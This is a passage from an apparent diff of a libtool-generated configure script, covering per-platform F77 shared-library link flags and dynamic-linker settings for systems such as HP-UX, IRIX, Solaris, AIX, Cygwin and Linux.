$output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_F77=: + hardcode_direct_F77=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_F77=yes + export_dynamic_flag_spec_F77='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_F77='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + archive_cmds_F77='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir' + hardcode_libdir_flag_spec_ld_F77='+b $libdir' + hardcode_libdir_separator_F77=: + hardcode_direct_F77=no + hardcode_shlibpath_var_F77=no + ;; + ia64*) + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_direct_F77=no + hardcode_shlibpath_var_F77=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_F77=yes + ;; + *) + hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_F77=: + hardcode_direct_F77=yes + export_dynamic_flag_spec_F77='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_F77=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + archive_cmds_F77='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_ld_F77='-rpath $libdir' + fi + hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_F77=: + link_all_deplibs_F77=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + archive_cmds_F77='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + hardcode_libdir_flag_spec_F77='-R$libdir' + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + newsos6) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=yes + hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_F77=: + hardcode_shlibpath_var_F77=no + ;; + + openbsd*) + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir' + export_dynamic_flag_spec_F77='${wl}-E' + else + case $host_os in + openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) + archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_F77='-R$libdir' + ;; + *) + archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_minus_L_F77=yes + allow_undefined_flag_F77=unsupported + archive_cmds_F77='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + old_archive_From_new_cmds_F77='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + allow_undefined_flag_F77=' -expect_unresolved \*' + archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + fi + hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_F77=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir' + else + allow_undefined_flag_F77=' -expect_unresolved \*' + archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + archive_expsym_cmds_F77='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + hardcode_libdir_flag_spec_F77='-rpath $libdir' + fi + hardcode_libdir_separator_F77=: + ;; + + sco3.2v5*) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_F77=no + export_dynamic_flag_spec_F77='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + no_undefined_flag_F77=' -z text' + if test "$GCC" = yes; then + archive_cmds_F77='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + archive_cmds_F77='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + hardcode_libdir_flag_spec_F77='-R$libdir' + hardcode_shlibpath_var_F77=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + whole_archive_flag_spec_F77='-z allextract$convenience -z defaultextract' ;; + esac + link_all_deplibs_F77=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + archive_cmds_F77='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds_F77='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_direct_F77=yes + hardcode_minus_L_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + sysv4) + case $host_vendor in + sni) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + archive_cmds_F77='$LD -G -o $lib $libobjs $deplibs $linker_flags' + reload_cmds_F77='$CC -r -o $output$reload_objs' + hardcode_direct_F77=no + ;; + motorola) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var_F77=no + ;; + + sysv4.3*) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_F77=no + export_dynamic_flag_spec_F77='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var_F77=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ld_shlibs_F77=yes + fi + ;; + + sysv4.2uw2*) + archive_cmds_F77='$LD -G -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=yes + hardcode_minus_L_F77=no + hardcode_shlibpath_var_F77=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) + no_undefined_flag_F77='${wl}-z ${wl}text' + if test "$GCC" = yes; then + archive_cmds_F77='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds_F77='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var_F77=no + ;; + + sysv5*) + no_undefined_flag_F77=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + archive_cmds_F77='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + hardcode_libdir_flag_spec_F77= + hardcode_shlibpath_var_F77=no + runpath_var='LD_RUN_PATH' + ;; + + uts4*) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_shlibpath_var_F77=no + ;; + + *) + ld_shlibs_F77=no + ;; + esac + fi + +echo "$as_me:$LINENO: result: $ld_shlibs_F77" >&5 +echo "${ECHO_T}$ld_shlibs_F77" >&6 +test "$ld_shlibs_F77" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc_F77" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc_F77=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds_F77 in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5 +echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6 + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl_F77 + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag_F77 + allow_undefined_flag_F77= + if { (eval echo "$as_me:$LINENO: \"$archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 + (eval $archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + then + archive_cmds_need_lc_F77=no + else + archive_cmds_need_lc_F77=yes + fi + allow_undefined_flag_F77=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + echo "$as_me:$LINENO: result: $archive_cmds_need_lc_F77" >&5 +echo "${ECHO_T}$archive_cmds_need_lc_F77" >&6 + ;; + esac + fi + ;; +esac + +echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 +echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6 +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib<name>.so + # instead of lib<name>.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.01* | freebsdelf3.01*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/:,\t/ /g;s/=^=*$//;s/=^= * / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + 